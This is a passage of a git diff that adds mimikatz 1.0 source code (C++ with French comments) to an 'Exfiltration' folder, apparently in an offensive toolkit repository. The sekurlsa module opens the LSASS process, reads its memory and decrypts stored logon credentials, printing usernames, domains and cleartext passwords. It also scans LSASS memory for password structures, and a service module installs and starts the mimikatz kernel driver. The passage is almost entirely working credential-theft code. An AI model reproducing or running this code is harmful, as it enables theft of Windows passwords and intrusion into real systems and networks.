courantes des providers disponibles")); + + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(searchPasswords, L"searchPasswords", L"rechere directement dans les segments mémoire de LSASS des mots de passes")); + return monVector; +} + +bool mod_mimikatz_sekurlsa::getLogonPasswords(vector<wstring> * arguments) +{ + if(searchLSASSDatas()) + getLogonData(arguments, &GLOB_ALL_Providers); + else + (*outputStream) << L"Données LSASS en erreur" << endl; + return true; +} + +bool mod_mimikatz_sekurlsa::loadLsaSrv() +{ + if(!hLsaSrv) + hLsaSrv = LoadLibrary(L"lsasrv"); + + if(mesModules.empty()) + { + mesModules.push_back(KIWI_MODULE_PKG_LSA(L"lsasrv.dll", L"msv1_0", mod_mimikatz_sekurlsa_msv1_0::getMSVLogonData, &pModLSASRV)); + mesModules.push_back(KIWI_MODULE_PKG_LSA(L"tspkg.dll", L"tspkg", mod_mimikatz_sekurlsa_tspkg::getTsPkgLogonData, &mod_mimikatz_sekurlsa_tspkg::pModTSPKG)); + mesModules.push_back(KIWI_MODULE_PKG_LSA(L"wdigest.dll", L"wdigest", mod_mimikatz_sekurlsa_wdigest::getWDigestLogonData, &mod_mimikatz_sekurlsa_wdigest::pModWDIGEST)); + mesModules.push_back(KIWI_MODULE_PKG_LSA(L"kerberos.dll", L"kerberos", mod_mimikatz_sekurlsa_kerberos::getKerberosLogonData, &mod_mimikatz_sekurlsa_kerberos::pModKERBEROS)); + mesModules.push_back(KIWI_MODULE_PKG_LSA(L"msv1_0.dll", L"ssp", mod_mimikatz_sekurlsa_ssp::getSSPLogonData, &mod_mimikatz_sekurlsa_ssp::pModMSV)); + if(mod_system::GLOB_Version.dwBuildNumber >= 8000) + mesModules.push_back(KIWI_MODULE_PKG_LSA(L"livessp.dll",L"livessp", mod_mimikatz_sekurlsa_livessp::getLiveSSPLogonData, &mod_mimikatz_sekurlsa_livessp::pModLIVESSP)); + } + return (hLsaSrv != NULL); +} + +bool mod_mimikatz_sekurlsa::unloadLsaSrv() +{ + for(vector<KIWI_MODULE_PKG_LSA>::iterator testModule = mesModules.begin(); testModule != mesModules.end(); testModule++) + if(*testModule->pModuleEntry) + delete *testModule->pModuleEntry; + + if(mod_system::GLOB_Version.dwMajorVersion < 6) + mod_mimikatz_sekurlsa_keys_nt5::uninitLSASSData(); + else + mod_mimikatz_sekurlsa_keys_nt6::uninitLSASSData(); + + if(hLSASS) + CloseHandle(hLSASS); + if(hLsaSrv) + FreeLibrary(hLsaSrv); + + return true; +} + +bool mod_mimikatz_sekurlsa::searchLSASSDatas() +{ + if(!lsassOK) + { + if(!hLSASS) + { + mod_process::KIWI_PROCESSENTRY32 monProcess; + wstring processName = L"lsass.exe"; + if(mod_process::getUniqueForName(&monProcess, &processName)) + { + if(hLSASS = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, false, monProcess.th32ProcessID)) + { + vector<mod_process::KIWI_VERY_BASIC_MODULEENTRY> monVecteurModules; + if(mod_process::getVeryBasicModulesListForProcess(&monVecteurModules, hLSASS)) + { + for(vector<mod_process::KIWI_VERY_BASIC_MODULEENTRY>::iterator leModule = monVecteurModules.begin(); leModule != monVecteurModules.end(); leModule++) + { + for(vector<KIWI_MODULE_PKG_LSA>::iterator testModule = mesModules.begin(); testModule != mesModules.end(); testModule++) + { + if((_wcsicmp(leModule->szModule.c_str(), testModule->moduleName) == 0) && !(*testModule->pModuleEntry)) + { + GLOB_ALL_Providers.push_back(make_pair<PFN_ENUM_BY_LUID, wstring>(testModule->enumFunc, testModule->simpleName/*wstring(L"msv1_0")*/)); + *testModule->pModuleEntry = new mod_process::KIWI_VERY_BASIC_MODULEENTRY(*leModule); + break; + } + } + } + } else { + (*outputStream) << L"mod_process::getVeryBasicModulesListForProcess : " << mod_system::getWinError() << endl; + CloseHandle(hLSASS); + hLSASS = NULL; + } + } else (*outputStream) << L"OpenProcess : " << mod_system::getWinError() << endl; + } else (*outputStream) << L"mod_process::getUniqueForName : " << mod_system::getWinError() << endl; + } + + if(hLSASS) + { + MODULEINFO mesInfos; + if(GetModuleInformation(GetCurrentProcess(), hLsaSrv, &mesInfos, sizeof(MODULEINFO))) + { + localLSASRV.modBaseAddr = reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll); + localLSASRV.modBaseSize = mesInfos.SizeOfImage; + + if(!SeckPkgFunctionTable) + { + struct {PVOID LsaIRegisterNotification; PVOID LsaICancelNotification;} extractPkgFunctionTable = {GetProcAddress(hLsaSrv, "LsaIRegisterNotification"), GetProcAddress(hLsaSrv, "LsaICancelNotification")}; + if(extractPkgFunctionTable.LsaIRegisterNotification && extractPkgFunctionTable.LsaICancelNotification) + mod_memory::genericPatternSearch(reinterpret_cast<PBYTE *>(&SeckPkgFunctionTable), L"lsasrv", reinterpret_cast<PBYTE>(&extractPkgFunctionTable), sizeof(extractPkgFunctionTable), - FIELD_OFFSET(LSA_SECPKG_FUNCTION_TABLE, RegisterNotification), NULL, true, true); + } + + lsassOK = (mod_system::GLOB_Version.dwMajorVersion < 6) ? mod_mimikatz_sekurlsa_keys_nt5::searchAndInitLSASSData() : mod_mimikatz_sekurlsa_keys_nt6::searchAndInitLSASSData(); + } + } + } + return lsassOK; +} + +PLIST_ENTRY mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(PLIST_ENTRY pSecurityStruct, unsigned long LUIDoffset, PLUID luidToFind) +{ + PLIST_ENTRY resultat = NULL; + BYTE * monBuffer = new BYTE[LUIDoffset + sizeof(LUID)]; + PLIST_ENTRY pStruct = NULL; + if(mod_memory::readMemory(pSecurityStruct, &pStruct, sizeof(pStruct), hLSASS)) + { + while(pStruct != pSecurityStruct) + { + if(mod_memory::readMemory(pStruct, monBuffer, LUIDoffset + sizeof(LUID), hLSASS)) + { + if(RtlEqualLuid(luidToFind, reinterpret_cast<PLUID>(reinterpret_cast<PBYTE>(monBuffer) + LUIDoffset))) + { + resultat = pStruct; + break; + } + } else break; + pStruct = reinterpret_cast<PLIST_ENTRY>(monBuffer)->Flink; + } + } + delete [] monBuffer; + return resultat; +} + +PVOID mod_mimikatz_sekurlsa::getPtrFromAVLByLuid(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind) +{ + PVOID resultat = NULL; + RTL_AVL_TABLE maTable; + if(mod_memory::readMemory(pTable, &maTable, sizeof(RTL_AVL_TABLE), hLSASS)) + resultat = getPtrFromAVLByLuidRec(reinterpret_cast<PRTL_AVL_TABLE>(maTable.BalancedRoot.RightChild), LUIDoffset, luidToFind); + return resultat; +} + +PVOID mod_mimikatz_sekurlsa::getPtrFromAVLByLuidRec(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind) +{ + PVOID resultat = NULL; + RTL_AVL_TABLE maTable; + if(mod_memory::readMemory(pTable, &maTable, sizeof(RTL_AVL_TABLE), hLSASS)) + { + if(maTable.OrderedPointer) + { + BYTE * monBuffer = new BYTE[LUIDoffset + sizeof(LUID)]; + if(mod_memory::readMemory(maTable.OrderedPointer, monBuffer, LUIDoffset + sizeof(LUID), hLSASS)) + { + if(RtlEqualLuid(luidToFind, reinterpret_cast<PLUID>(reinterpret_cast<PBYTE>(monBuffer) + LUIDoffset))) + resultat = maTable.OrderedPointer; + } + delete [] monBuffer; + } + + if(!resultat && maTable.BalancedRoot.LeftChild) + resultat = getPtrFromAVLByLuidRec(reinterpret_cast<PRTL_AVL_TABLE>(maTable.BalancedRoot.LeftChild), LUIDoffset, luidToFind); + if(!resultat && maTable.BalancedRoot.RightChild) + resultat = getPtrFromAVLByLuidRec(reinterpret_cast<PRTL_AVL_TABLE>(maTable.BalancedRoot.RightChild), LUIDoffset, luidToFind); + } + return resultat; +} + +void mod_mimikatz_sekurlsa::genericCredsToStream(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, bool justSecurity, bool isDomainFirst, PDWORD pos) +{ + if(mesCreds) + { + if(mesCreds->Password.Buffer || mesCreds->UserName.Buffer || mesCreds->Domaine.Buffer) + { + wstring userName = mod_process::getUnicodeStringOfProcess(&mesCreds->UserName, hLSASS); + wstring domainName = mod_process::getUnicodeStringOfProcess(&mesCreds->Domaine, hLSASS); + wstring password = mod_process::getUnicodeStringOfProcess(&mesCreds->Password, hLSASS, SeckPkgFunctionTable->LsaUnprotectMemory); + wstring rUserName = (isDomainFirst ? domainName : userName); + wstring rDomainName = (isDomainFirst ? userName : domainName); + + if(justSecurity) + { + if(!pos) + (*outputStream) << password; + else + (*outputStream) << endl << + L"\t [" << *pos << L"] { " << rUserName << L" ; " << rDomainName << L" ; " << password << L" }"; + } + else + { + if(!pos) + (*outputStream) << endl << + L"\t * Utilisateur : " << rUserName << endl << + L"\t * Domaine : " << rDomainName << endl << + L"\t * Mot de passe : " << password; + else + (*outputStream) << endl << + L"\t * [" << *pos << L"] Utilisateur : " << rUserName << endl << + L"\t Domaine : " << rDomainName << endl << + L"\t Mot de passe : " << password; + } + } + } else (*outputStream) << L"n.t. (LUID KO)"; +} + +bool mod_mimikatz_sekurlsa::getLogonData(vector<wstring> * mesArguments, vector<pair<PFN_ENUM_BY_LUID, wstring>> * mesProviders) +{ + PLUID sessions; + ULONG count; + + if (NT_SUCCESS(LsaEnumerateLogonSessions(&count, &sessions))) + { + for (ULONG i = 0; i < count ; i++) + { + PSECURITY_LOGON_SESSION_DATA sessionData = NULL; + if(NT_SUCCESS(LsaGetLogonSessionData(&sessions[i], &sessionData))) + { + if(sessionData->LogonType != Network) + { + (*outputStream) << endl << + L"Authentification Id : " << sessions[i].HighPart << L";" << sessions[i].LowPart << endl << + L"Package d\'authentification : " << mod_text::stringOfSTRING(sessionData->AuthenticationPackage) << endl << + L"Utilisateur principal : " << mod_text::stringOfSTRING(sessionData->UserName) << endl << + L"Domaine d\'authentification : " << mod_text::stringOfSTRING(sessionData->LogonDomain) << endl; + + for(vector<pair<PFN_ENUM_BY_LUID, wstring>>::iterator monProvider = mesProviders->begin(); monProvider != mesProviders->end(); monProvider++) + { + (*outputStream) << L'\t' << monProvider->second << (mesArguments->empty() ? (L" :") : (L"")) << L'\t'; + monProvider->first(&sessions[i], mesArguments->empty()); + (*outputStream) << endl; + } + } + LsaFreeReturnBuffer(sessionData); + } + else (*outputStream) << L"Erreur : Impossible d\'obtenir les données de session" << endl; + } + LsaFreeReturnBuffer(sessions); + } + else (*outputStream) << L"Erreur : Impossible d\'énumerer les sessions courantes" << endl; + + return true; +} + +bool mod_mimikatz_sekurlsa::ressembleString(PUNICODE_STRING maChaine, wstring * dstChaine, BYTE **buffer) +{ + bool resultat = false; + BYTE * monBuffer = NULL; + PBYTE * leBuffer = buffer ? buffer : &monBuffer; + if(mod_process::getUnicodeStringOfProcess(maChaine, leBuffer, hLSASS)) + { + int flags = IS_TEXT_UNICODE_ODD_LENGTH | IS_TEXT_UNICODE_STATISTICS; + if(resultat = (IsTextUnicode(*leBuffer, maChaine->Length, &flags) != 0)) + { + if(dstChaine) + dstChaine->assign(reinterpret_cast<const wchar_t *>(*leBuffer), maChaine->Length / sizeof(wchar_t)); + } + } + if(monBuffer) + delete[] monBuffer; + return resultat; +} + +bool mod_mimikatz_sekurlsa::searchPasswords(vector<wstring> * arguments) +{ + if(searchLSASSDatas()) + { + if(PNT_QUERY_SYSTEM_INFORMATION NtQuerySystemInformation = reinterpret_cast<PNT_QUERY_SYSTEM_INFORMATION>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation"))) + { +#ifdef _M_X64 + PBYTE MmSystemRangeStart = reinterpret_cast<PBYTE>(0xffff080000000000); +#elif defined _M_IX86 + PBYTE MmSystemRangeStart = reinterpret_cast<PBYTE>(0x80000000); +#endif + ULONG maTaille = 0; + NtQuerySystemInformation(KIWI_SystemMmSystemRangeStart, &MmSystemRangeStart, sizeof(PBYTE), &maTaille); + + DWORD nbPossible = 0; + for(PBYTE pMemoire = 0; pMemoire < MmSystemRangeStart ; ) + { + MEMORY_BASIC_INFORMATION mesInfos; + if(VirtualQueryEx(hLSASS, pMemoire, &mesInfos, sizeof(MEMORY_BASIC_INFORMATION)) > 0) + { + if((mesInfos.Protect & PAGE_READWRITE) && !(mesInfos.Protect & PAGE_GUARD) && (mesInfos.Type == MEM_PRIVATE)) + { + UNICODE_STRING donnees[3]; + for(PBYTE pZone = reinterpret_cast<PBYTE>(mesInfos.BaseAddress); pZone < (reinterpret_cast<PBYTE>(mesInfos.BaseAddress) + mesInfos.RegionSize - 3*sizeof(UNICODE_STRING)); pZone += sizeof(DWORD)) + { + if(mod_memory::readMemory(pZone, donnees, 3*sizeof(UNICODE_STRING), hLSASS)) + { + if( + (donnees[0].Length && !((donnees[0].Length & 1) || (donnees[0].MaximumLength & 1)) && (donnees[0].Length < sizeof(wchar_t)*0xff) && (donnees[0].Length <= donnees[0].MaximumLength) && donnees[0].Buffer) && + (donnees[1].Length && !((donnees[1].Length & 1) || (donnees[1].MaximumLength & 1)) && (donnees[1].Length < sizeof(wchar_t)*0xff) && (donnees[1].Length <= donnees[1].MaximumLength) && donnees[1].Buffer) && + (donnees[2].Length && !((donnees[2].Length & 1) || (donnees[2].MaximumLength & 1)) && (donnees[2].Length < sizeof(wchar_t)*0xff) && (donnees[2].Length <= donnees[2].MaximumLength) && donnees[2].Buffer) + ) + { + wstring user, domain, password; + BYTE * bPassword = NULL; + if(ressembleString(&donnees[0], &user) && ressembleString(&donnees[1], &domain) && !ressembleString(&donnees[2], NULL, &bPassword)) + { + if(bPassword) + { + mod_mimikatz_sekurlsa::SeckPkgFunctionTable->LsaUnprotectMemory(bPassword, donnees[2].MaximumLength); + password.assign(mod_text::stringOrHex(bPassword, donnees[2].Length, 0, false)); + } + (*outputStream) << L"[" << nbPossible++ << L"] { " << user << L" ; " << domain << L" ; " << password << L" }" << endl; + } + + if(bPassword) + delete[] bPassword; + } + } + } + } + pMemoire += mesInfos.RegionSize; + } + else break; + } + } + } + else (*outputStream) << L"Données LSASS en erreur" << endl; + return true; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.h new file mode 100644 index 0000000..aa05d58 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.h @@ -0,0 +1,64 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_memory.h" +#include "mod_process.h" +#include "mod_text.h" +#include "mod_system.h" +#include <iostream> +#include "secpkg.h" + +#include "LSA Keys/keys_nt5.h" +#include "LSA Keys/keys_nt6.h" + +#include "Security Packages/msv1_0.h" +#include "Security Packages/tspkg.h" +#include "Security Packages/wdigest.h" +#include "Security Packages/kerberos.h" +#include "Security Packages/livessp.h" +#include "Security Packages/ssp.h" + +class mod_mimikatz_sekurlsa +{ +public: + typedef bool (WINAPI * PFN_ENUM_BY_LUID) (__in PLUID logId, __in bool justSecurity); +private: + typedef struct _KIWI_MODULE_PKG_LSA { + wchar_t * moduleName; + wchar_t * simpleName; + PFN_ENUM_BY_LUID enumFunc; + mod_process::PKIWI_VERY_BASIC_MODULEENTRY * pModuleEntry; + _KIWI_MODULE_PKG_LSA(wchar_t * leModuleName, wchar_t * leSimpleName, PFN_ENUM_BY_LUID laEnumFunc, mod_process::PKIWI_VERY_BASIC_MODULEENTRY * pLeModuleEntry) : moduleName(leModuleName), simpleName(leSimpleName), enumFunc(laEnumFunc), pModuleEntry(pLeModuleEntry) {} + } KIWI_MODULE_PKG_LSA, *PKIWI_MODULE_PKG_LSA; + + static bool lsassOK; + static vector<pair<PFN_ENUM_BY_LUID, wstring>> GLOB_ALL_Providers; + static vector<KIWI_MODULE_PKG_LSA> mesModules; + + static PVOID getPtrFromAVLByLuidRec(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind); + static bool ressembleString(PUNICODE_STRING maChaine, wstring * dstChaine = NULL, BYTE **buffer = NULL); + + static bool getLogonPasswords(vector<wstring> * arguments); + static bool searchPasswords(vector<wstring> * arguments); +public: + static HANDLE hLSASS; + static HMODULE hLsaSrv; + static mod_process::KIWI_VERY_BASIC_MODULEENTRY localLSASRV, *pModLSASRV; + static PLSA_SECPKG_FUNCTION_TABLE SeckPkgFunctionTable; + + static PLIST_ENTRY getPtrFromLinkedListByLuid(PLIST_ENTRY pSecurityStruct, unsigned long LUIDoffset, PLUID luidToFind); + static PVOID getPtrFromAVLByLuid(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind); + + static void genericCredsToStream(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, bool justSecurity, bool isDomainFirst = false, PDWORD pos = NULL); + static bool getLogonData(vector<wstring> * mesArguments, vector<pair<PFN_ENUM_BY_LUID, wstring>> * mesProviders); + + static bool loadLsaSrv(); + static bool unloadLsaSrv(); + static bool searchLSASSDatas(); + + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.cpp new file mode 100644 index 0000000..31fb6b5 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.cpp @@ -0,0 +1,191 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_service.h" +#include "..\global.h" + +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_service::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les services et pilotes")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(start, L"start", L"Démarre un service ou pilote")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(stop, L"stop", L"Arręte un service ou pilote")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(remove, L"remove", L"Supprime un service ou pilote")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mimikatz, L"mimikatz", L"Installe et/ou démarre le pilote mimikatz")); + return monVector; +} + +bool mod_mimikatz_service::start(vector<wstring> * arguments) +{ + (*outputStream) << L"Démarrage de \'"; + return genericFunction(mod_service::start, arguments); +} + +bool mod_mimikatz_service::stop(vector<wstring> * arguments) +{ + (*outputStream) << L"Arręt de \'"; + return genericFunction(mod_service::stop, arguments); +} + +bool mod_mimikatz_service::remove(vector<wstring> * arguments) +{ + (*outputStream) << L"Suppression de \'"; + return genericFunction(mod_service::remove, arguments); +} + +bool mod_mimikatz_service::genericFunction(PMOD_SERVICE_FUNC function, vector<wstring> * arguments) +{ + if(!arguments->empty()) + { + (*outputStream) << arguments->front() << L"\' : "; + if(function(&arguments->front(), NULL)) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO ; " << mod_system::getWinError(); + (*outputStream) << endl; + } + else (*outputStream) << L"(null)\' - KO ; Nom de service manquant" << endl; + + return true; +} + + +bool mod_mimikatz_service::list(vector<wstring> * arguments) +{ + bool services_fs_drivers = true; + bool services = false; + bool fs = false; + bool drivers = false; + + bool allstate = true; + bool running = false; + bool stopped = false; + + vector<mod_service::KIWI_SERVICE_STATUS_PROCESS> * vectorServices = new vector<mod_service::KIWI_SERVICE_STATUS_PROCESS>(); + if(mod_service::getList(vectorServices, (arguments->empty() ? NULL : &arguments->front()))) + { + for(vector<mod_service::KIWI_SERVICE_STATUS_PROCESS>::iterator monService = vectorServices->begin(); monService != vectorServices->end(); monService++) + { + if( + ( + (services && (monService->ServiceStatusProcess.dwServiceType & (SERVICE_WIN32_OWN_PROCESS | SERVICE_WIN32_SHARE_PROCESS))) || + (fs && (monService->ServiceStatusProcess.dwServiceType & SERVICE_FILE_SYSTEM_DRIVER)) || + (drivers && (monService->ServiceStatusProcess.dwServiceType & SERVICE_KERNEL_DRIVER)) || + (services_fs_drivers) + ) + && + ( + (running && monService->ServiceStatusProcess.dwCurrentState == SERVICE_RUNNING) || + (stopped && monService->ServiceStatusProcess.dwCurrentState == SERVICE_STOPPED) || + (allstate) + ) + ) + { + if(monService->ServiceStatusProcess.dwProcessId != 0) + (*outputStream) << setw(5) << setfill(wchar_t(' ')) << monService->ServiceStatusProcess.dwProcessId; + (*outputStream) << L'\t'; + + if(monService->ServiceStatusProcess.dwServiceType & SERVICE_INTERACTIVE_PROCESS) + (*outputStream) << L"INTERACTIVE_PROCESS" << L'\t'; + if(monService->ServiceStatusProcess.dwServiceType & SERVICE_FILE_SYSTEM_DRIVER) + (*outputStream) << L"FILE_SYSTEM_DRIVER" << L'\t'; + if(monService->ServiceStatusProcess.dwServiceType & SERVICE_KERNEL_DRIVER) + (*outputStream) << L"KERNEL_DRIVER" << L'\t'; + if(monService->ServiceStatusProcess.dwServiceType & SERVICE_WIN32_OWN_PROCESS) + (*outputStream) << L"WIN32_OWN_PROCESS" << L'\t'; + if(monService->ServiceStatusProcess.dwServiceType & SERVICE_WIN32_SHARE_PROCESS) + (*outputStream) << L"WIN32_SHARE_PROCESS" << L'\t'; + + switch(monService->ServiceStatusProcess.dwCurrentState) + { + case SERVICE_CONTINUE_PENDING: + (*outputStream) << L"CONTINUE_PENDING"; + break; + case SERVICE_PAUSE_PENDING: + (*outputStream) << L"PAUSE_PENDING"; + break; + case SERVICE_PAUSED: + (*outputStream) << L"PAUSED"; + break; + case SERVICE_RUNNING: + (*outputStream) << L"RUNNING"; + break; + case SERVICE_START_PENDING: + (*outputStream) << L"START_PENDING"; + break; + case SERVICE_STOP_PENDING: + (*outputStream) << L"STOP_PENDING"; + break; + case SERVICE_STOPPED: + (*outputStream) << L"STOPPED"; + break; + } + + (*outputStream) << L'\t' << + monService->serviceName << L'\t' << + monService->serviceDisplayName << + endl; + } + } + } + else + (*outputStream) << L"mod_service::getList ; " << mod_system::getWinError() << endl; + + delete vectorServices; + return true; +} + +bool mod_mimikatz_service::mimikatz(vector<wstring> * arguments) +{ + if(SC_HANDLE monManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE)) + { + SC_HANDLE monService = NULL; + if(!(monService = OpenService(monManager, L"mimikatz", SERVICE_START))) + { + if(GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) + { + (*outputStream) << L"[*] Pilote mimikatz non présent, installation." << endl; + + wstring monPilote = L"mimikatz.sys"; + wstring monPiloteComplet = L""; + if(mod_system::getAbsolutePathOf(monPilote, &monPiloteComplet)) + { + bool fileExist = false; + if(mod_system::isFileExist(monPiloteComplet, &fileExist) && fileExist) + { + if(monService = CreateService(monManager, L"mimikatz", L"mimikatz driver", READ_CONTROL | WRITE_DAC | SERVICE_START, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, monPiloteComplet.c_str(), NULL, NULL, NULL, NULL, NULL)) + { + (*outputStream) << L"[+] Création du pilote : OK" << endl; + if(mod_secacl::addWorldToMimikatz(&monService)) + (*outputStream) << L"[+] Attribution des droits : OK"; + else + (*outputStream) << L"[-] Attribution des droits : KO ; " << mod_system::getWinError(); + (*outputStream) << endl; + } + else (*outputStream) << L"[!] Impossible de créer le pilote ; " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"[!] Le pilote ne semble pas exister ; " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"[!] Impossible d\'obtenir le chemin absolu du pilote ; " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"[!] Ouverture du pilote mimikatz : KO ; " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"[*] Pilote mimikatz déjŕ présent" << endl; + + if(monService) + { + if(StartService(monService, 0, NULL) != 0) + (*outputStream) << L"[+] Démarrage du pilote : OK"; + else + (*outputStream) << L"[-] Démarrage du pilote : KO ; " << mod_system::getWinError(); + (*outputStream) << endl; + CloseServiceHandle(monService); + } + + CloseServiceHandle(monManager); + } + else (*outputStream) << L"[!] Impossible d\'ouvrir le gestionnaire de service pour création ; " << mod_system::getWinError() << endl; + return true; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.h new file mode 100644 index 0000000..368066f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.h @@ -0,0 +1,34 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_system.h" +#include "mod_service.h" +#include <iostream> + +class mod_mimikatz_service +{ +private: + typedef bool (* PMOD_SERVICE_FUNC) (wstring * serviceName, wstring * machineName); + static bool genericFunction(PMOD_SERVICE_FUNC function, vector<wstring> * arguments); +public: + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); + + static bool list(vector<wstring> * arguments); + + static bool start(vector<wstring> * arguments); + static bool suspend(vector<wstring> * arguments); + static bool resume(vector<wstring> * arguments); + static bool stop(vector<wstring> * arguments); + + static bool query(vector<wstring> * arguments); + + static bool add(vector<wstring> * arguments); + static bool remove(vector<wstring> * arguments); + static bool control(vector<wstring> * arguments); + + static bool mimikatz(vector<wstring> * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.cpp new file mode 100644 index 0000000..e785e0d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.cpp @@ -0,0 +1,77 @@ +/* Benjamin DELPY `gentilkiwi` +http://blog.gentilkiwi.com +benjamin@gentilkiwi.com +Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_standard.h" +#include "..\global.h" + +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_standard::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(clearScreen, L"cls", L"Efface l\'écran (ne fonctionne pas en éxecution distante, via PsExec par exemple)")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(exit, L"exit", L"Quitte MimiKatz")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(reponse, L"reponse", L"Calcule la réponse ŕ la Grande Question sur la Vie, l\'Univers et le Reste")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cite, L"cite", L"Trouve une citation")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(version, L"version", L"Retourne la version de mimikatz")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(sleep, L"sleep", L"Mets en pause mimikatz un certains nombre de millisecondes")); + //monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(test, L"test", L"Routine de test (ne devrait plus ętre lŕ en release...")); + return monVector; +} + +/*bool mod_mimikatz_standard::test(vector<wstring> * arguments) +{ + return true; +}*/ + +bool mod_mimikatz_standard::version(vector<wstring> * arguments) +{ + (*outputStream) << MIMIKATZ_FULL << L" (" << __DATE__ << L' ' << __TIME__ << L')' << endl; + return true; +} + +bool mod_mimikatz_standard::clearScreen(vector<wstring> * arguments) +{ + HANDLE hStdOut = GetStdHandle(STD_OUTPUT_HANDLE); + COORD coord = {0, 0}; + DWORD count; + + CONSOLE_SCREEN_BUFFER_INFO csbi; + GetConsoleScreenBufferInfo(hStdOut, &csbi); + + FillConsoleOutputCharacter(hStdOut, L' ', csbi.dwSize.X * csbi.dwSize.Y, coord, &count); + SetConsoleCursorPosition(hStdOut, coord); + + return true; +} + +bool mod_mimikatz_standard::exit(vector<wstring> * arguments) +{ + return false; +} + +bool mod_mimikatz_standard::reponse(vector<wstring> * arguments) +{ + (*outputStream) << L"La réponse est 42." << endl; + return true; +} + +bool mod_mimikatz_standard::cite(vector<wstring> * arguments) +{ + (*outputStream) << L"I edit the world in HEX" << endl; + return true; +} + +bool mod_mimikatz_standard::sleep(vector<wstring> * arguments) +{ + DWORD dwMilliseconds = 1000; + if(!arguments->empty()) + { + wstringstream z; + z << arguments->front(); z >> dwMilliseconds; + } + (*outputStream) << L"Sleep : " << dwMilliseconds << L" ms... " << flush; + Sleep(dwMilliseconds); + (*outputStream) << L"Fin !" << endl; + return true; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.h new file mode 100644 index 0000000..dab1350 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.h @@ -0,0 +1,23 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include <iostream> +#include <sstream> + +class mod_mimikatz_standard +{ +public: + static 